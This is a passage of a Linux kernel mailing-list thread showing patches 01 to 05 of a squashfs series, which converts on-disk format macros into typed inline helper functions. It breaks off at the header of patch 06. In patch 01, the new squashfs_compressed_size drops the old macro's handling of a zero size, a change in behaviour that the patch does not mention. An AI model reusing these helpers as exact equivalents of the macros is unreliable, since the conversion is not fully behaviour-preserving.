* [PATCH 01/18] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 02/18] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE " Phillip Lougher
` (16 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/block.c | 11 ++++++-----
fs/squashfs/cache.c | 1 +
fs/squashfs/file.c | 3 ++-
fs/squashfs/squashfs_fs.h | 17 -----------------
fs/squashfs/squashfs_helpers.h | 35 ++++++++++++++++++++++++++++++++++
5 files changed, 44 insertions(+), 23 deletions(-)
create mode 100644 fs/squashfs/squashfs_helpers.h
diff --git a/fs/squashfs/block.c b/fs/squashfs/block.c
index 2d5850168026..20c3030b4f96 100644
--- a/fs/squashfs/block.c
+++ b/fs/squashfs/block.c
@@ -23,6 +23,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "decompressor.h"
#include "page_actor.h"
@@ -292,7 +293,7 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
struct bio *bio = NULL;
- int compressed;
+ bool compressed;
int res;
int offset;
@@ -300,8 +301,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,
/*
* Datablock.
*/
- compressed = SQUASHFS_COMPRESSED_BLOCK(length);
- length = SQUASHFS_COMPRESSED_SIZE_BLOCK(length);
+ compressed = squashfs_compressed_block(length);
+ length = squashfs_compressed_size_block(length);
TRACE("Block @ 0x%llx, %scompressed size %d, src size %d\n",
index, compressed ? "" : "un", length, output->length);
} else {
@@ -341,8 +342,8 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,
bio_uninit(bio);
kfree(bio);
- compressed = SQUASHFS_COMPRESSED(length);
- length = SQUASHFS_COMPRESSED_SIZE(length);
+ compressed = squashfs_compressed(length);
+ length = squashfs_compressed_size(length);
index += 2;
TRACE("Block @ 0x%llx, %scompressed size %d\n", index - 2,
diff --git a/fs/squashfs/cache.c b/fs/squashfs/cache.c
index c1a83bb0e519..7cb16414cd23 100644
--- a/fs/squashfs/cache.c
+++ b/fs/squashfs/cache.c
@@ -42,6 +42,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "page_actor.h"
diff --git a/fs/squashfs/file.c b/fs/squashfs/file.c
index d83594ce91d2..ad6382cd22d3 100644
--- a/fs/squashfs/file.c
+++ b/fs/squashfs/file.c
@@ -39,6 +39,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "page_actor.h"
@@ -188,7 +189,7 @@ static long long read_indexes(struct super_block *sb, int n,
err = size;
goto failure;
}
- block += SQUASHFS_COMPRESSED_SIZE_BLOCK(size);
+ block += squashfs_compressed_size_block(size);
}
n -= blocks;
}
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index a955d9369749..b406e52a83c2 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -101,22 +101,6 @@
#define SQUASHFS_XATTR_VALUE_OOL 256
#define SQUASHFS_XATTR_PREFIX_MASK 0xff
-/* Flag whether block is compressed or uncompressed, bit is set if block is
- * uncompressed */
-#define SQUASHFS_COMPRESSED_BIT (1 << 15)
-
-#define SQUASHFS_COMPRESSED_SIZE(B) (((B) & ~SQUASHFS_COMPRESSED_BIT) ? \
- (B) & ~SQUASHFS_COMPRESSED_BIT : SQUASHFS_COMPRESSED_BIT)
-
-#define SQUASHFS_COMPRESSED(B) (!((B) & SQUASHFS_COMPRESSED_BIT))
-
-#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24)
-
-#define SQUASHFS_COMPRESSED_SIZE_BLOCK(B) ((B) & \
- ~SQUASHFS_COMPRESSED_BIT_BLOCK)
-
-#define SQUASHFS_COMPRESSED_BLOCK(B) (!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK))
-
static inline int squashfs_block_size(__le32 raw)
{
u32 size = le32_to_cpu(raw);
@@ -449,5 +433,4 @@ struct squashfs_xattr_id_table {
__le32 xattr_ids;
__le32 unused;
};
-
#endif
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
new file mode 100644
index 000000000000..94edc7f46ae4
--- /dev/null
+++ b/fs/squashfs/squashfs_helpers.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+#ifndef SQUASHFS_HELPERS_H
+#define SQUASHFS_HELPERS_H
+/*
+ * Copyright (c) 2026
+ * Phillip Lougher <phillip@squashfs.org.uk>
+ */
+
+/* Flag whether block is compressed or uncompressed, bit is set if block is
+ * uncompressed
+ */
+#define SQUASHFS_COMPRESSED_BIT (1 << 15)
+
+static inline s16 squashfs_compressed_size(s16 size)
+{
+ return size & ~SQUASHFS_COMPRESSED_BIT;
+}
+
+static inline bool squashfs_compressed(s16 size)
+{
+ return (size & SQUASHFS_COMPRESSED_BIT) == 0;
+}
+
+#define SQUASHFS_COMPRESSED_BIT_BLOCK (1 << 24)
+
+static inline s32 squashfs_compressed_size_block(s32 size)
+{
+ return size & ~SQUASHFS_COMPRESSED_BIT_BLOCK;
+}
+
+static inline bool squashfs_compressed_block(s32 size)
+{
+ return (size & SQUASHFS_COMPRESSED_BIT_BLOCK) == 0;
+}
+#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 02/18] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
2026-11-07 5:28 ` [PATCH 01/18] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 03/18] Squashfs: convert SQUASHFS_FRAGMENT_* " Phillip Lougher
` (15 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/inode.c | 34 ++++++++++++++++++++--------------
fs/squashfs/namei.c | 3 ++-
fs/squashfs/squashfs_fs.h | 11 -----------
fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++
fs/squashfs/super.c | 3 ++-
5 files changed, 43 insertions(+), 27 deletions(-)
diff --git a/fs/squashfs/inode.c b/fs/squashfs/inode.c
index 82b687414e65..73232582aca2 100644
--- a/fs/squashfs/inode.c
+++ b/fs/squashfs/inode.c
@@ -33,6 +33,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "xattr.h"
@@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *inode, long long ino)
{
struct super_block *sb = inode->i_sb;
struct squashfs_sb_info *msblk = sb->s_fs_info;
- u64 block = SQUASHFS_INODE_BLK(ino) + msblk->inode_table;
- int err, type, offset = SQUASHFS_INODE_OFFSET(ino);
+ u64 block = squashfs_inode_blk(ino) + msblk->inode_table;
+ int offset = squashfs_inode_offset(ino);
+ int err, type;
union squashfs_inode squashfs_ino;
struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;
int xattr_id = SQUASHFS_INVALID_XATTR;
@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)
if (err)
goto failed_read;
- block = SQUASHFS_INODE_BLK(ino) + msblk->inode_table;
- offset = SQUASHFS_INODE_OFFSET(ino);
+ block = squashfs_inode_blk(ino) + msblk->inode_table;
+ offset = squashfs_inode_offset(ino);
type = le16_to_cpu(sqshb_ino->inode_type);
switch (type) {
@@ -181,8 +183,9 @@ int squashfs_read_inode(struct inode *inode, long long ino)
inode->i_data.a_ops = &squashfs_aops;
TRACE("File inode %x:%x, start_block %llx, block_list_start "
- "%llx, offset %x\n", SQUASHFS_INODE_BLK(ino),
- offset, squashfs_i(inode)->start, block, offset);
+ "%llx, offset %x\n", squashfs_inode_blk(ino),
+ squashfs_inode_offset(ino), squashfs_i(inode)->start,
+ block, offset);
break;
}
case SQUASHFS_LREG_TYPE: {
@@ -241,8 +244,9 @@ int squashfs_read_inode(struct inode *inode, long long ino)
inode->i_data.a_ops = &squashfs_aops;
TRACE("File inode %x:%x, start_block %llx, block_list_start "
- "%llx, offset %x\n", SQUASHFS_INODE_BLK(ino),
- offset, squashfs_i(inode)->start, block, offset);
+ "%llx, offset %x\n", squashfs_inode_blk(ino),
+ squashfs_inode_offset(ino), squashfs_i(inode)->start,
+ block, offset);
break;
}
case SQUASHFS_DIR_TYPE: {
@@ -264,7 +268,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)
squashfs_i(inode)->parent = le32_to_cpu(sqsh_ino->parent_inode);
TRACE("Directory inode %x:%x, start_block %llx, offset %x\n",
- SQUASHFS_INODE_BLK(ino), offset,
+ squashfs_inode_blk(ino), squashfs_inode_offset(ino),
squashfs_i(inode)->start,
le16_to_cpu(sqsh_ino->offset));
break;
@@ -291,7 +295,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)
squashfs_i(inode)->parent = le32_to_cpu(sqsh_ino->parent_inode);
TRACE("Long directory inode %x:%x, start_block %llx, offset "
- "%x\n", SQUASHFS_INODE_BLK(ino), offset,
+ "%x\n", squashfs_inode_blk(ino),
+ squashfs_inode_offset(ino),
squashfs_i(inode)->start,
le16_to_cpu(sqsh_ino->offset));
break;
@@ -335,8 +340,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)
}
TRACE("Symbolic link inode %x:%x, start_block %llx, offset "
- "%x\n", SQUASHFS_INODE_BLK(ino), offset,
- block, offset);
+ "%x\n", squashfs_inode_blk(ino),
+ squashfs_inode_offset(ino), block, offset);
break;
}
case SQUASHFS_BLKDEV_TYPE:
@@ -359,7 +364,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)
squashfs_i(inode)->parent = 0;
TRACE("Device inode %x:%x, rdev %x\n",
- SQUASHFS_INODE_BLK(ino), offset, rdev);
+ squashfs_inode_blk(ino),
+ squashfs_inode_offset(ino), rdev);
break;
}
case SQUASHFS_LBLKDEV_TYPE:
@@ -384,7 +390,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)
squashfs_i(inode)->parent = 0;
TRACE("Device inode %x:%x, rdev %x\n",
- SQUASHFS_INODE_BLK(ino), offset, rdev);
+ squashfs_inode_blk(ino), offset, rdev);
break;
}
case SQUASHFS_FIFO_TYPE:
diff --git a/fs/squashfs/namei.c b/fs/squashfs/namei.c
index 65aae7e2a859..2260a3f05fde 100644
--- a/fs/squashfs/namei.c
+++ b/fs/squashfs/namei.c
@@ -49,6 +49,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "xattr.h"
@@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry,
off = le16_to_cpu(dire->offset);
ino_num = le32_to_cpu(dirh.inode_number) +
(short) le16_to_cpu(dire->inode_number);
- ino = SQUASHFS_MKINODE(blk, off);
+ ino = squashfs_mkinode(blk, off);
TRACE("calling squashfs_iget for directory "
"entry %s, inode %x:%x, %d\n", name,
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index b406e52a83c2..6d993531a5df 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__le32 raw)
return (size >> 25) ? -EIO : size;
}
-/*
- * Inode number ops. Inodes consist of a compressed block number, and an
- * uncompressed offset within that block
- */
-#define SQUASHFS_INODE_BLK(A) ((unsigned int) ((A) >> 16))
-
-#define SQUASHFS_INODE_OFFSET(A) ((unsigned int) ((A) & 0xffff))
-
-#define SQUASHFS_MKINODE(A, B) ((long long)(((long long) (A)\
- << 16) + (B)))
-
/* fragment and fragment table defines */
#define SQUASHFS_FRAGMENT_BYTES(A) \
((A) * sizeof(struct squashfs_fragment_entry))
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index 94edc7f46ae4..afef13cd6dc0 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_block(s32 size)
{
return (size & SQUASHFS_COMPRESSED_BIT_BLOCK) == 0;
}
+
+/*
+ * Inode number ops. Inodes consist of a compressed block number, and an
+ * uncompressed offset within that block
+ */
+static inline u32 squashfs_inode_blk(s64 inode)
+{
+ return inode >> 16;
+}
+
+static inline u16 squashfs_inode_offset(s64 inode)
+{
+ return inode & 0xffff;
+}
+
+static inline s64 squashfs_mkinode(u32 start, u16 offset)
+{
+ return ((s64)start << 16) | offset;
+}
#endif
diff --git a/fs/squashfs/super.c b/fs/squashfs/super.c
index 5dabc5770f1b..0e511dd29d58 100644
--- a/fs/squashfs/super.c
+++ b/fs/squashfs/super.c
@@ -33,6 +33,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
#include "decompressor.h"
#include "xattr.h"
@@ -286,7 +287,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)
/* Check the root inode for sanity */
root_inode = le64_to_cpu(sblk->root_inode);
- if (SQUASHFS_INODE_OFFSET(root_inode) > SQUASHFS_METADATA_SIZE)
+ if (squashfs_inode_offset(root_inode) > SQUASHFS_METADATA_SIZE)
goto insanity;
msblk->inode_table = le64_to_cpu(sblk->inode_table_start);
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 03/18] Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
2026-11-07 5:28 ` [PATCH 01/18] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions Phillip Lougher
2026-11-07 5:28 ` [PATCH 02/18] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 04/18] Squashfs: convert SQUASHFS_LOOKUP_* " Phillip Lougher
` (14 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/fragment.c | 7 ++++---
fs/squashfs/squashfs_fs.h | 17 -----------------
fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++
3 files changed, 31 insertions(+), 20 deletions(-)
diff --git a/fs/squashfs/fragment.c b/fs/squashfs/fragment.c
index 49602b9a42e1..e945d045d55e 100644
--- a/fs/squashfs/fragment.c
+++ b/fs/squashfs/fragment.c
@@ -26,6 +26,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
/*
@@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
if (fragment >= msblk->fragments)
return -EIO;
- block = SQUASHFS_FRAGMENT_INDEX(fragment);
- offset = SQUASHFS_FRAGMENT_INDEX_OFFSET(fragment);
+ block = squashfs_fragment_index(fragment);
+ offset = squashfs_fragment_index_offset(fragment);
start_block = le64_to_cpu(msblk->fragment_index[block]);
@@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,
__le64 *squashfs_read_fragment_index_table(struct super_block *sb,
u64 fragment_table_start, u64 next_table, unsigned int fragments)
{
- unsigned int length = SQUASHFS_FRAGMENT_INDEX_BYTES(fragments);
+ unsigned int length = squashfs_fragment_index_bytes(fragments);
__le64 *table;
/*
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index 6d993531a5df..3dbd174b5f21 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -107,23 +107,6 @@ static inline int squashfs_block_size(__le32 raw)
return (size >> 25) ? -EIO : size;
}
-/* fragment and fragment table defines */
-#define SQUASHFS_FRAGMENT_BYTES(A) \
- ((A) * sizeof(struct squashfs_fragment_entry))
-
-#define SQUASHFS_FRAGMENT_INDEX(A) (SQUASHFS_FRAGMENT_BYTES(A) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_FRAGMENT_INDEX_OFFSET(A) (SQUASHFS_FRAGMENT_BYTES(A) % \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_FRAGMENT_INDEXES(A) ((SQUASHFS_FRAGMENT_BYTES(A) + \
- SQUASHFS_METADATA_SIZE - 1) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_FRAGMENT_INDEX_BYTES(A) (SQUASHFS_FRAGMENT_INDEXES(A) *\
- sizeof(u64))
-
/* inode lookup table defines */
#define SQUASHFS_LOOKUP_BYTES(A) ((A) * sizeof(u64))
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index afef13cd6dc0..b99ca67c729a 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset)
{
return ((s64)start << 16) | offset;
}
+
+/* fragment and fragment table defines */
+static inline s64 squashfs_fragment_bytes(u32 fragments)
+{
+ return fragments * sizeof(struct squashfs_fragment_entry);
+}
+
+static inline s32 squashfs_fragment_index(u32 fragments)
+{
+ return squashfs_fragment_bytes(fragments) / SQUASHFS_METADATA_SIZE;
+}
+
+static inline s16 squashfs_fragment_index_offset(u32 fragments)
+{
+ return squashfs_fragment_bytes(fragments) % SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_fragment_indexes(u32 fragments)
+{
+ return (squashfs_fragment_bytes(fragments) + (SQUASHFS_METADATA_SIZE - 1)) /
+ SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_fragment_index_bytes(u32 fragments)
+{
+ return squashfs_fragment_indexes(fragments) * sizeof(long long);
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 04/18] Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (2 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 03/18] Squashfs: convert SQUASHFS_FRAGMENT_* " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 05/18] Squashfs: convert SQUASHFS_ID_* " Phillip Lougher
` (13 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/export.c | 9 +++++----
fs/squashfs/squashfs_fs.h | 16 ----------------
fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++
3 files changed, 32 insertions(+), 20 deletions(-)
diff --git a/fs/squashfs/export.c b/fs/squashfs/export.c
index 62972f0ff868..ad7cc882d789 100644
--- a/fs/squashfs/export.c
+++ b/fs/squashfs/export.c
@@ -31,6 +31,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
#include "squashfs_fs_i.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
/*
@@ -39,8 +40,8 @@
static long long squashfs_inode_lookup(struct super_block *sb, int ino_num)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int blk = SQUASHFS_LOOKUP_BLOCK(ino_num - 1);
- int offset = SQUASHFS_LOOKUP_BLOCK_OFFSET(ino_num - 1);
+ int blk = squashfs_lookup_block(ino_num - 1);
+ int offset = squashfs_lookup_block_offset(ino_num - 1);
u64 start;
__le64 ino;
int err;
@@ -115,8 +116,8 @@ static struct dentry *squashfs_get_parent(struct dentry *child)
__le64 *squashfs_read_inode_lookup_table(struct super_block *sb,
u64 lookup_table_start, u64 next_table, unsigned int inodes)
{
- unsigned int length = SQUASHFS_LOOKUP_BLOCK_BYTES(inodes);
- unsigned int indexes = SQUASHFS_LOOKUP_BLOCKS(inodes);
+ unsigned int length = squashfs_lookup_block_bytes(inodes);
+ unsigned int indexes = squashfs_lookup_blocks(inodes);
int n;
__le64 *table;
u64 start, end;
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index 3dbd174b5f21..89b998f57a2b 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -107,22 +107,6 @@ static inline int squashfs_block_size(__le32 raw)
return (size >> 25) ? -EIO : size;
}
-/* inode lookup table defines */
-#define SQUASHFS_LOOKUP_BYTES(A) ((A) * sizeof(u64))
-
-#define SQUASHFS_LOOKUP_BLOCK(A) (SQUASHFS_LOOKUP_BYTES(A) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_LOOKUP_BLOCK_OFFSET(A) (SQUASHFS_LOOKUP_BYTES(A) % \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_LOOKUP_BLOCKS(A) ((SQUASHFS_LOOKUP_BYTES(A) + \
- SQUASHFS_METADATA_SIZE - 1) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_LOOKUP_BLOCK_BYTES(A) (SQUASHFS_LOOKUP_BLOCKS(A) *\
- sizeof(u64))
-
/* uid/gid lookup table defines */
#define SQUASHFS_ID_BYTES(A) ((A) * sizeof(unsigned int))
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index b99ca67c729a..aafc75a3a435 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_index_bytes(u32 fragments)
{
return squashfs_fragment_indexes(fragments) * sizeof(long long);
}
+
+/* inode lookup table defines */
+static inline s64 squashfs_lookup_bytes(u32 inodes)
+{
+ return (s64) inodes * sizeof(s64);
+}
+
+static inline s32 squashfs_lookup_block(u32 inodes)
+{
+ return squashfs_lookup_bytes(inodes) / SQUASHFS_METADATA_SIZE;
+}
+
+static inline s16 squashfs_lookup_block_offset(u32 inodes)
+{
+ return squashfs_lookup_bytes(inodes) % SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_lookup_blocks(u32 inodes)
+{
+ return (squashfs_lookup_bytes(inodes) + (SQUASHFS_METADATA_SIZE - 1)) /
+ SQUASHFS_METADATA_SIZE;
+}
+
+static inline s32 squashfs_lookup_block_bytes(u32 inodes)
+{
+ return squashfs_lookup_blocks(inodes) * sizeof(long long);
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 05/18] Squashfs: convert SQUASHFS_ID_* to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (3 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 04/18] Squashfs: convert SQUASHFS_LOOKUP_* " Phillip Lougher
@ 2026-11-07 5:28 ` Phillip Lougher
2026-11-07 5:28 ` [PATCH 06/18] Squashfs: convert SQUASHFS_XATTR_* " Phillip Lougher
` (12 subsequent siblings)
17 siblings, 0 replies; 19+ messages in thread
From: Phillip Lougher @ 2026-11-07 5:28 UTC (permalink / raw)
To: akpm, linux-kernel; +Cc: Phillip Lougher
Convert old fashioned #define macros into inline functions. This has
the following improvements:
1. Inline functions are typed, which makes the width and sigedness of
input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in
later commits.
3. Inline functions are easier to read than #define macros, which
improves code comprehension.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
---
fs/squashfs/id.c | 9 +++++----
fs/squashfs/squashfs_fs.h | 15 ---------------
fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++
3 files changed, 32 insertions(+), 19 deletions(-)
diff --git a/fs/squashfs/id.c b/fs/squashfs/id.c
index ea5387679723..5630f5ec159a 100644
--- a/fs/squashfs/id.c
+++ b/fs/squashfs/id.c
@@ -24,6 +24,7 @@
#include "squashfs_fs.h"
#include "squashfs_fs_sb.h"
+#include "squashfs_helpers.h"
#include "squashfs.h"
/*
@@ -33,8 +34,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index,
unsigned int *id)
{
struct squashfs_sb_info *msblk = sb->s_fs_info;
- int block = SQUASHFS_ID_BLOCK(index);
- int offset = SQUASHFS_ID_BLOCK_OFFSET(index);
+ int block = squashfs_id_block(index);
+ int offset = squashfs_id_block_offset(index);
u64 start_block;
__le32 disk_id;
int err;
@@ -60,8 +61,8 @@ int squashfs_get_id(struct super_block *sb, unsigned int index,
__le64 *squashfs_read_id_index_table(struct super_block *sb,
u64 id_table_start, u64 next_table, unsigned short no_ids)
{
- unsigned int length = SQUASHFS_ID_BLOCK_BYTES(no_ids);
- unsigned int indexes = SQUASHFS_ID_BLOCKS(no_ids);
+ unsigned int length = squashfs_id_block_bytes(no_ids);
+ unsigned int indexes = squashfs_id_blocks(no_ids);
int n;
__le64 *table;
u64 start, end;
diff --git a/fs/squashfs/squashfs_fs.h b/fs/squashfs/squashfs_fs.h
index 89b998f57a2b..25dd89a2c6ad 100644
--- a/fs/squashfs/squashfs_fs.h
+++ b/fs/squashfs/squashfs_fs.h
@@ -107,21 +107,6 @@ static inline int squashfs_block_size(__le32 raw)
return (size >> 25) ? -EIO : size;
}
-/* uid/gid lookup table defines */
-#define SQUASHFS_ID_BYTES(A) ((A) * sizeof(unsigned int))
-
-#define SQUASHFS_ID_BLOCK(A) (SQUASHFS_ID_BYTES(A) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_ID_BLOCK_OFFSET(A) (SQUASHFS_ID_BYTES(A) % \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_ID_BLOCKS(A) ((SQUASHFS_ID_BYTES(A) + \
- SQUASHFS_METADATA_SIZE - 1) / \
- SQUASHFS_METADATA_SIZE)
-
-#define SQUASHFS_ID_BLOCK_BYTES(A) (SQUASHFS_ID_BLOCKS(A) *\
- sizeof(u64))
/* xattr id lookup table defines */
#define SQUASHFS_XATTR_BYTES(A) (((u64) (A)) * sizeof(struct squashfs_xattr_id))
diff --git a/fs/squashfs/squashfs_helpers.h b/fs/squashfs/squashfs_helpers.h
index aafc75a3a435..b9c517a50642 100644
--- a/fs/squashfs/squashfs_helpers.h
+++ b/fs/squashfs/squashfs_helpers.h
@@ -105,4 +105,31 @@ static inline s32 squashfs_lookup_block_bytes(u32 inodes)
{
return squashfs_lookup_blocks(inodes) * sizeof(long long);
}
+
+/* uid lookup table defines */
+static inline s32 squashfs_id_bytes(u16 ids)
+{
+ return (s32) ids * sizeof(unsigned int);
+}
+
+static inline s32 squashfs_id_block(u16 ids)
+{
+ return squashfs_id_bytes(ids) / SQUASHFS_METADATA_SIZE;
+}
+
+static inline s16 squashfs_id_block_offset(u16 ids)
+{
+ return squashfs_id_bytes(ids) % SQUASHFS_METADATA_SIZE;
+}
+
+static inline s8 squashfs_id_blocks(u16 ids)
+{
+ return (squashfs_id_bytes(ids) + (SQUASHFS_METADATA_SIZE - 1)) /
+ SQUASHFS_METADATA_SIZE;
+}
+
+static inline s16 squashfs_id_block_bytes(u16 ids)
+{
+ return squashfs_id_blocks(ids) * sizeof(long long);
+}
#endif
--
2.47.3
^ permalink raw reply [flat|nested] 19+ messages in thread* [PATCH 06/18] Squashfs: convert SQUASHFS_XATTR_* to inline functions
2026-11-07 5:28 [PATCH 00/18] Squashfs: fix a lot of AI issues and AI style issues Phillip Lougher
` (4 preceding siblings ...)
2026-11-07 5:28 ` [PATCH 05/18] Squashfs: convert SQUASHFS_ID_* " Phillip Lougher
